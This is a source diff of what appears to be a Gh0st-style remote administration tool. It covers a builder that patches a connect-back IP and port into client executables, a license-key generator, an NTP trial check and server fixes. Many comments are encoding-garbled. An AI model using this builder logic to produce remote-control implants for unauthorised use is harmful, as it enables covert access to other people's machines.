||||
@@ -91,10 +97,10 @@ void CBuildDlg::OnBnClickedOk()
|
||||
while ('\\' != *p) --p;
|
||||
strcpy(p+1, file.GetString());
|
||||
|
||||
strFile = path; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
if (_access(path, 0) == -1)
|
||||
strFile = typ != -1 ? path : file; //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰδ<C7B0><CEB4><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
if (_access(strFile, 0) == -1)
|
||||
{
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
MessageBox(CString(strFile) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return CDialog::OnOK();
|
||||
}
|
||||
|
||||
@@ -109,14 +115,14 @@ void CBuildDlg::OnBnClickedOk()
|
||||
File.Read(szBuffer,dwFileSize);
|
||||
File.Close();
|
||||
//д<><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IP<49>Ͷ˿<CDB6> <20><>Ҫ<EFBFBD><D2AA>Ѱ<EFBFBD><D1B0>0x1234567<36><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʶȻ<CAB6><C8BB>д<EFBFBD><D0B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>λ<EFBFBD><CEBB>
|
||||
int iOffset = MemoryFind((char*)szBuffer,(char*)&g_ConnectAddress.Flag(),dwFileSize,sizeof(DWORD));
|
||||
int iOffset = MemoryFind((char*)szBuffer,(char*)g_ConnectAddress.Flag(),dwFileSize, g_ConnectAddress.FlagLen());
|
||||
if (iOffset==-1)
|
||||
{
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)&g_ConnectAddress.Flag(),
|
||||
dwFileSize - iOffset - sizeof(sizeof(g_ConnectAddress)), sizeof(DWORD)) != -1) {
|
||||
if (MemoryFind((char*)szBuffer + iOffset + sizeof(sizeof(g_ConnectAddress)), (char*)g_ConnectAddress.Flag(),
|
||||
dwFileSize - iOffset - sizeof(g_ConnectAddress), g_ConnectAddress.FlagLen()) != -1) {
|
||||
MessageBox(CString(path) + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><EFBFBD>\"" + file + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>!");
|
||||
return;
|
||||
}
|
||||
@@ -129,8 +135,8 @@ void CBuildDlg::OnBnClickedOk()
|
||||
else {
|
||||
strcpy(p + 1, "ClientDemo.exe");
|
||||
}
|
||||
strSeverFile = path;
|
||||
DeleteFileA(path);
|
||||
strSeverFile = typ != -1 ? path : file;
|
||||
DeleteFileA(strSeverFile);
|
||||
BOOL r=File.Open(strSeverFile,CFile::typeBinary|CFile::modeCreate|CFile::modeWrite);
|
||||
if (!r) {
|
||||
MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
|
||||
@@ -182,12 +188,14 @@ BOOL CBuildDlg::OnInitDialog()
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_DLL, "TestRun.exe");
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_ONE, "ghost.exe");
|
||||
m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
|
||||
m_ComboExe.InsertString(OTHER_ITEM, CString("ѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>"));
|
||||
m_ComboExe.SetCurSel(0);
|
||||
|
||||
m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>");
|
||||
m_ComboEncrypt.InsertString(1, "XOR");
|
||||
m_ComboEncrypt.SetCurSel(0);
|
||||
m_ComboEncrypt.EnableWindow(FALSE);
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
@@ -206,3 +214,55 @@ Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
|
||||
}
|
||||
return Buffer();
|
||||
}
|
||||
|
||||
|
||||
void CBuildDlg::OnCbnSelchangeComboExe()
|
||||
{
|
||||
auto n = m_ComboExe.GetCurSel();
|
||||
if (n == OTHER_ITEM)
|
||||
{
|
||||
CComPtr<IShellFolder> spDesktop;
|
||||
HRESULT hr = SHGetDesktopFolder(&spDesktop);
|
||||
if (FAILED(hr)) {
|
||||
AfxMessageBox("Explorer δ<><CEB4>ȷ<EFBFBD><C8B7>ʼ<EFBFBD><CABC>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
return;
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ض<EFBFBD><D8B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ı<EFBFBD><C4B1>ļ<EFBFBD><C4BC><EFBFBD>
|
||||
CFileDialog fileDlg(TRUE, _T("dll"), NULL, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,
|
||||
_T("All Files (*.*)|*.*|DLL Files (*.dll)|*.dll|EXE Files (*.exe)|*.exe|"), AfxGetMainWnd());
|
||||
int ret = 0;
|
||||
try {
|
||||
ret = fileDlg.DoModal();
|
||||
}
|
||||
catch (...) {
|
||||
AfxMessageBox("<EFBFBD>ļ<EFBFBD><EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>δ<EFBFBD>ɹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>! <20><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD><EFBFBD>ԡ<EFBFBD>");
|
||||
return;
|
||||
}
|
||||
if (ret == IDOK)
|
||||
{
|
||||
CString name = fileDlg.GetPathName();
|
||||
|
||||
m_OtherItem.SetWindowTextA(name);
|
||||
CFile File;
|
||||
BOOL ret = File.Open(name, CFile::modeRead | CFile::typeBinary);
|
||||
if (ret) {
|
||||
int dwFileSize = File.GetLength();
|
||||
LPBYTE szBuffer = new BYTE[dwFileSize];
|
||||
File.Read(szBuffer, dwFileSize);
|
||||
File.Close();
|
||||
m_strIP = "127.0.0.1";
|
||||
m_strPort = "6543";
|
||||
UpdateData(FALSE);
|
||||
SAFE_DELETE_ARRAY(szBuffer);
|
||||
}
|
||||
}
|
||||
else {
|
||||
m_OtherItem.SetWindowTextA("δѡ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>");
|
||||
}
|
||||
m_OtherItem.ShowWindow(SW_SHOW);
|
||||
}
|
||||
else {
|
||||
m_OtherItem.SetWindowTextA("");
|
||||
m_OtherItem.ShowWindow(SW_HIDE);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -28,4 +28,6 @@ public:
|
||||
Buffer Encrypt(BYTE* buffer, int len, int method);
|
||||
CComboBox m_ComboExe;
|
||||
CComboBox m_ComboEncrypt;
|
||||
afx_msg void OnCbnSelchangeComboExe();
|
||||
CStatic m_OtherItem;
|
||||
};
|
||||
|
||||
138
server/2015Remote/CPasswordDlg.cpp
Normal file
@@ -0,0 +1,138 @@
|
||||
// CPasswordDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "CPasswordDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "pwd_gen.h"
|
||||
#include "2015Remote.h"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CPasswordDlg, CDialogEx)
|
||||
|
||||
CPasswordDlg::CPasswordDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_PASSWORD, pParent)
|
||||
, m_sDeviceID(_T(""))
|
||||
, m_sPassword(_T(""))
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CPasswordDlg::~CPasswordDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CPasswordDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEID, m_EditDeviceID);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEPWD, m_EditPassword);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEID, m_sDeviceID);
|
||||
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
||||
DDV_MaxChars(pDX, m_sPassword, 37);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPasswordDlg, CDialogEx)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
BOOL CPasswordDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
// CPasswordDlg 消息处理程序
|
||||
|
||||
IMPLEMENT_DYNAMIC(CPwdGenDlg, CDialogEx)
|
||||
|
||||
CPwdGenDlg::CPwdGenDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialogEx(IDD_DIALOG_KEYGEN, pParent)
|
||||
, m_sDeviceID(_T(""))
|
||||
, m_sPassword(_T(""))
|
||||
, m_sUserPwd(_T(""))
|
||||
, m_ExpireTm(COleDateTime::GetCurrentTime())
|
||||
, m_StartTm(COleDateTime::GetCurrentTime())
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CPwdGenDlg::~CPwdGenDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CPwdGenDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialogEx::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEID, m_EditDeviceID);
|
||||
DDX_Control(pDX, IDC_EDIT_DEVICEPWD, m_EditPassword);
|
||||
DDX_Control(pDX, IDC_EDIT_USERPWD, m_EditUserPwd);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEID, m_sDeviceID);
|
||||
DDV_MaxChars(pDX, m_sDeviceID, 19);
|
||||
DDX_Text(pDX, IDC_EDIT_DEVICEPWD, m_sPassword);
|
||||
DDV_MaxChars(pDX, m_sPassword, 37);
|
||||
DDX_Text(pDX, IDC_EDIT_USERPWD, m_sUserPwd);
|
||||
DDV_MaxChars(pDX, m_sUserPwd, 24);
|
||||
DDX_Control(pDX, IDC_EXPIRE_DATE, m_PwdExpireDate);
|
||||
DDX_DateTimeCtrl(pDX, IDC_EXPIRE_DATE, m_ExpireTm);
|
||||
DDX_Control(pDX, IDC_START_DATE, m_StartDate);
|
||||
DDX_DateTimeCtrl(pDX, IDC_START_DATE, m_StartTm);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CPwdGenDlg, CDialogEx)
|
||||
ON_BN_CLICKED(IDC_BUTTON_GENKEY, &CPwdGenDlg::OnBnClickedButtonGenkey)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
void CPwdGenDlg::OnBnClickedButtonGenkey()
|
||||
{
|
||||
// TODO: 在此添加控件通知处理程序代码
|
||||
UpdateData(TRUE);
|
||||
if (m_sUserPwd.IsEmpty())return;
|
||||
std::string pwdHash = hashSHA256(m_sUserPwd.GetString());
|
||||
if (pwdHash != PWD_HASH256) {
|
||||
Mprintf("hashSHA256 [%s]: %s\n", m_sUserPwd, pwdHash.c_str());
|
||||
MessageBoxA("您输入的密码不正确,无法生成口令!", "提示", MB_OK | MB_ICONWARNING);
|
||||
return;
|
||||
}
|
||||
CString strBeginDate = m_StartTm.Format("%Y%m%d");
|
||||
CString strEndDate = m_ExpireTm.Format("%Y%m%d");
|
||||
// 密码形式:20250209 - 20350209: SHA256
|
||||
std::string password = std::string(strBeginDate.GetString()) + " - " + strEndDate.GetBuffer() + ": " + PWD_HASH256;
|
||||
std::string finalKey = deriveKey(password, m_sDeviceID.GetString());
|
||||
std::string fixedKey = strBeginDate.GetString() + std::string("-") + strEndDate.GetBuffer() + std::string("-") +
|
||||
getFixedLengthID(finalKey);
|
||||
m_EditPassword.SetWindowTextA(fixedKey.c_str());
|
||||
std::string hardwareID = getHardwareID();
|
||||
std::string hashedID = hashSHA256(hardwareID);
|
||||
std::string deviceID = getFixedLengthID(hashedID);
|
||||
if (deviceID == m_sDeviceID.GetString()) { // 授权的是当前主控程序
|
||||
auto THIS_APP = (CMy2015RemoteApp*)AfxGetApp();
|
||||
auto settings = "settings", pwdKey = "Password";
|
||||
THIS_APP->m_iniFile.SetStr(settings, pwdKey, fixedKey.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
BOOL CPwdGenDlg::OnInitDialog()
|
||||
{
|
||||
CDialogEx::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_PASSWORD));
|
||||
SetIcon(m_hIcon, FALSE);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
67
server/2015Remote/CPasswordDlg.h
Normal file
@@ -0,0 +1,67 @@
|
||||
#pragma once
|
||||
|
||||
#include <afx.h>
|
||||
#include <afxwin.h>
|
||||
#include "Resource.h"
|
||||
|
||||
// 密码的哈希值
|
||||
// 提示:请用hashSHA256函数获得密码的哈希值,你应该用自己的密码生成哈希值,并替换这个默认值.
|
||||
#define PWD_HASH256 "61f04dd637a74ee34493fc1025de2c131022536da751c29e3ff4e9024d8eec43"
|
||||
|
||||
// CPasswordDlg 对话框
|
||||
|
||||
class CPasswordDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CPasswordDlg)
|
||||
|
||||
public:
|
||||
CPasswordDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CPasswordDlg();
|
||||
|
||||
enum { IDD = IDD_DIALOG_PASSWORD };
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
HICON m_hIcon;
|
||||
CEdit m_EditDeviceID;
|
||||
CEdit m_EditPassword;
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
virtual BOOL OnInitDialog();
|
||||
};
|
||||
|
||||
|
||||
class CPwdGenDlg : public CDialogEx
|
||||
{
|
||||
DECLARE_DYNAMIC(CPwdGenDlg)
|
||||
|
||||
public:
|
||||
CPwdGenDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CPwdGenDlg();
|
||||
|
||||
enum {
|
||||
IDD = IDD_DIALOG_KEYGEN
|
||||
};
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
HICON m_hIcon;
|
||||
CEdit m_EditDeviceID;
|
||||
CEdit m_EditPassword;
|
||||
CEdit m_EditUserPwd;
|
||||
CString m_sDeviceID;
|
||||
CString m_sPassword;
|
||||
CString m_sUserPwd;
|
||||
afx_msg void OnBnClickedButtonGenkey();
|
||||
CDateTimeCtrl m_PwdExpireDate;
|
||||
COleDateTime m_ExpireTm;
|
||||
CDateTimeCtrl m_StartDate;
|
||||
COleDateTime m_StartTm;
|
||||
virtual BOOL OnInitDialog();
|
||||
};
|
||||
173
server/2015Remote/DateVerify.h
Normal file
@@ -0,0 +1,173 @@
|
||||
#pragma once
|
||||
|
||||
#include <iostream>
|
||||
#include <ctime>
|
||||
#include <WinSock2.h>
|
||||
#include <Windows.h>
|
||||
#pragma comment(lib, "ws2_32.lib")
|
||||
|
||||
// <20>й<EFBFBD><D0B9><EFBFBD>½<EFBFBD>Ż<EFBFBD><C5BB><EFBFBD>NTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>б<EFBFBD>
|
||||
const char* CN_NTP_SERVERS[] = {
|
||||
"ntp.aliyun.com",
|
||||
"time1.aliyun.com",
|
||||
"ntp1.tencent.com",
|
||||
"time.edu.cn",
|
||||
"ntp.tuna.tsinghua.edu.cn",
|
||||
"cn.ntp.org.cn",
|
||||
};
|
||||
const int CN_NTP_COUNT = sizeof(CN_NTP_SERVERS) / sizeof(CN_NTP_SERVERS[0]);
|
||||
const int NTP_PORT = 123;
|
||||
const uint64_t NTP_EPOCH_OFFSET = 2208988800ULL;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
class DateVerify
|
||||
{
|
||||
private:
|
||||
// <20><>ʼ<EFBFBD><CABC>Winsock
|
||||
bool initWinsock() {
|
||||
WSADATA wsaData;
|
||||
return WSAStartup(MAKEWORD(2, 2), &wsaData) == 0;
|
||||
}
|
||||
|
||||
// <20><>ָ<EFBFBD><D6B8>NTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡʱ<C8A1><CAB1>
|
||||
time_t getTimeFromServer(const char* server) {
|
||||
SOCKET sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (sock == INVALID_SOCKET) return 0;
|
||||
|
||||
sockaddr_in serverAddr{};
|
||||
serverAddr.sin_family = AF_INET;
|
||||
serverAddr.sin_port = htons(NTP_PORT);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
hostent* host = gethostbyname(server);
|
||||
if (!host) {
|
||||
closesocket(sock);
|
||||
return 0;
|
||||
}
|
||||
serverAddr.sin_addr.s_addr = *((unsigned long*)host->h_addr_list[0]);
|
||||
|
||||
// <20><><EFBFBD>ó<EFBFBD>ʱ
|
||||
DWORD timeout = 2000; // 2<>볬ʱ
|
||||
setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout, sizeof(timeout));
|
||||
|
||||
// <><D7BC>NTP<54><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char ntpPacket[48] = { 0 };
|
||||
ntpPacket[0] = 0x1B; // LI=0, VN=3, Mode=3
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (sendto(sock, ntpPacket, sizeof(ntpPacket), 0,
|
||||
(sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
|
||||
closesocket(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ӧ
|
||||
if (recv(sock, ntpPacket, sizeof(ntpPacket), 0) <= 0) {
|
||||
closesocket(sock);
|
||||
return 0;
|
||||
}
|
||||
|
||||
closesocket(sock);
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>NTPʱ<50><CAB1>
|
||||
uint32_t ntpTime = ntohl(*((uint32_t*)(ntpPacket + 40)));
|
||||
return ntpTime - NTP_EPOCH_OFFSET;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>ʱ<EFBFBD>䣨<EFBFBD><E4A3A8><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
time_t getNetworkTimeInChina() {
|
||||
if (!initWinsock()) return 0;
|
||||
|
||||
time_t result = 0;
|
||||
for (int i = 0; i < CN_NTP_COUNT && result == 0; i++) {
|
||||
result = getTimeFromServer(CN_NTP_SERVERS[i]);
|
||||
if (result != 0) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
WSACleanup();
|
||||
return result;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD>дת<D0B4><D7AA>Ϊ<EFBFBD><CEAA><EFBFBD><EFBFBD>(1-12)
|
||||
int monthAbbrevToNumber(const std::string& month) {
|
||||
static const std::map<std::string, int> months = {
|
||||
{"Jan", 1}, {"Feb", 2}, {"Mar", 3}, {"Apr", 4},
|
||||
{"May", 5}, {"Jun", 6}, {"Jul", 7}, {"Aug", 8},
|
||||
{"Sep", 9}, {"Oct", 10}, {"Nov", 11}, {"Dec", 12}
|
||||
};
|
||||
auto it = months.find(month);
|
||||
return (it != months.end()) ? it->second : 0;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD>__DATE__<5F>ַ<EFBFBD><D6B7><EFBFBD>Ϊtm<74>ṹ
|
||||
tm parseCompileDate(const char* compileDate) {
|
||||
tm tmCompile = { 0 };
|
||||
std::string monthStr(compileDate, 3);
|
||||
std::string dayStr(compileDate + 4, 2);
|
||||
std::string yearStr(compileDate + 7, 4);
|
||||
|
||||
tmCompile.tm_year = std::stoi(yearStr) - 1900;
|
||||
tmCompile.tm_mon = monthAbbrevToNumber(monthStr) - 1;
|
||||
tmCompile.tm_mday = std::stoi(dayStr);
|
||||
|
||||
return tmCompile;
|
||||
}
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int daysBetweenDates(const tm& date1, const tm& date2) {
|
||||
auto timeToTimePoint = [](const tm& tmTime) {
|
||||
std::time_t tt = mktime(const_cast<tm*>(&tmTime));
|
||||
return std::chrono::system_clock::from_time_t(tt);
|
||||
};
|
||||
|
||||
auto tp1 = timeToTimePoint(date1);
|
||||
auto tp2 = timeToTimePoint(date2);
|
||||
|
||||
auto duration = tp1 > tp2 ? tp1 - tp2 : tp2 - tp1;
|
||||
return std::chrono::duration_cast<std::chrono::hours>(duration).count() / 24;
|
||||
}
|
||||
|
||||
// <20><>ȡ<EFBFBD><C8A1>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD>
|
||||
tm getCurrentDate() {
|
||||
std::time_t now = std::time(nullptr);
|
||||
tm tmNow = *std::localtime(&now);
|
||||
tmNow.tm_hour = 0;
|
||||
tmNow.tm_min = 0;
|
||||
tmNow.tm_sec = 0;
|
||||
return tmNow;
|
||||
}
|
||||
|
||||
// <20><>֤<EFBFBD><D6A4><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool isLocalDateModified() {
|
||||
time_t networkTime = getNetworkTimeInChina();
|
||||
if (networkTime == 0) {
|
||||
return true; // <20><EFBFBD><DEB7><EFBFBD>֤
|
||||
}
|
||||
|
||||
time_t localTime = time(nullptr);
|
||||
double diffDays = difftime(networkTime, localTime) / 86400.0;
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>1<EFBFBD><31><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EEA3A8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӳٺ<D3B3>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>أ<EFBFBD>
|
||||
if (fabs(diffDays) > 1.0) {
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
}
|
||||
|
||||
public:
|
||||
|
||||
bool isTrail(int trailDays=7) {
|
||||
if (isLocalDateModified())
|
||||
return false;
|
||||
|
||||
tm tmCompile = parseCompileDate(__DATE__), tmCurrent = getCurrentDate();
|
||||
|
||||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int daysDiff = daysBetweenDates(tmCompile, tmCurrent);
|
||||
|
||||
return daysDiff <= trailDays;
|
||||
}
|
||||
};
|
||||
@@ -34,9 +34,6 @@
|
||||
#endif
|
||||
#endif
|
||||
|
||||
using namespace std;
|
||||
|
||||
CRITICAL_SECTION IOCPServer::m_cs = {0};
|
||||
|
||||
// <20><><EFBFBD><EFBFBD> socket <20><>ȡ<EFBFBD>ͻ<EFBFBD><CDBB><EFBFBD>IP<49><50>ַ.
|
||||
std::string GetRemoteIP(SOCKET sock) {
|
||||
@@ -66,7 +63,7 @@ IOCPServer::IOCPServer(void)
|
||||
m_hCompletionPort = NULL;
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
m_hListenThread = INVALID_HANDLE_VALUE;
|
||||
m_hListenThread = NULL;
|
||||
|
||||
m_ulMaxConnections = ((CMy2015RemoteApp*)AfxGetApp())->m_iniFile.GetInt("settings", "MaxConnection");
|
||||
|
||||
@@ -101,38 +98,41 @@ IOCPServer::IOCPServer(void)
|
||||
#endif
|
||||
}
|
||||
|
||||
|
||||
IOCPServer::~IOCPServer(void)
|
||||
{
|
||||
void IOCPServer::Destroy() {
|
||||
m_bTimeToKill = TRUE;
|
||||
|
||||
Sleep(10);
|
||||
SetEvent(m_hKillEvent);
|
||||
|
||||
Sleep(10);
|
||||
|
||||
if (m_hKillEvent!=NULL)
|
||||
if (m_hKillEvent != NULL)
|
||||
{
|
||||
SetEvent(m_hKillEvent);
|
||||
CloseHandle(m_hKillEvent);
|
||||
m_hKillEvent = NULL;
|
||||
}
|
||||
|
||||
if (m_sListenSocket!=INVALID_SOCKET)
|
||||
if (m_sListenSocket != INVALID_SOCKET)
|
||||
{
|
||||
closesocket(m_sListenSocket);
|
||||
m_sListenSocket = INVALID_SOCKET;
|
||||
}
|
||||
|
||||
if (m_hCompletionPort!=INVALID_HANDLE_VALUE)
|
||||
if (m_hCompletionPort != INVALID_HANDLE_VALUE)
|
||||
{
|
||||
CloseHandle(m_hCompletionPort);
|
||||
m_hCompletionPort = INVALID_HANDLE_VALUE;
|
||||
}
|
||||
|
||||
if (m_hListenEvent!=WSA_INVALID_EVENT)
|
||||
if (m_hListenEvent != WSA_INVALID_EVENT)
|
||||
{
|
||||
CloseHandle(m_hListenEvent);
|
||||
m_hListenEvent = WSA_INVALID_EVENT;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
IOCPServer::~IOCPServer(void)
|
||||
{
|
||||
Destroy();
|
||||
while (m_ulWorkThreadCount || m_hListenThread)
|
||||
Sleep(10);
|
||||
|
||||
while (!m_ContextConnectionList.IsEmpty())
|
||||
{
|
||||
@@ -149,9 +149,6 @@ IOCPServer::~IOCPServer(void)
|
||||
delete ContextObject;
|
||||
}
|
||||
|
||||
while (m_ulWorkThreadCount)
|
||||
Sleep(10);
|
||||
|
||||
DeleteCriticalSection(&m_cs);
|
||||
m_ulWorkThreadCount = 0;
|
||||
|
||||
@@ -262,7 +259,7 @@ UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U
|
||||
(void*)this, //<2F><>Thread<61>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>this <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǵ<EFBFBD><C7B5>̻߳ص<CCBB><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>еij<D0B5>Ա
|
||||
0,
|
||||
NULL);
|
||||
if (m_hListenThread==INVALID_HANDLE_VALUE)
|
||||
if (m_hListenThread==NULL)
|
||||
{
|
||||
int a = GetLastError();
|
||||
closesocket(m_sListenSocket);
|
||||
@@ -321,7 +318,7 @@ BOOL IOCPServer::InitializeIOCP(VOID)
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
m_ulWorkThreadCount++;
|
||||
AddWorkThread(1);
|
||||
|
||||
CloseHandle(hWorkThread);
|
||||
}
|
||||
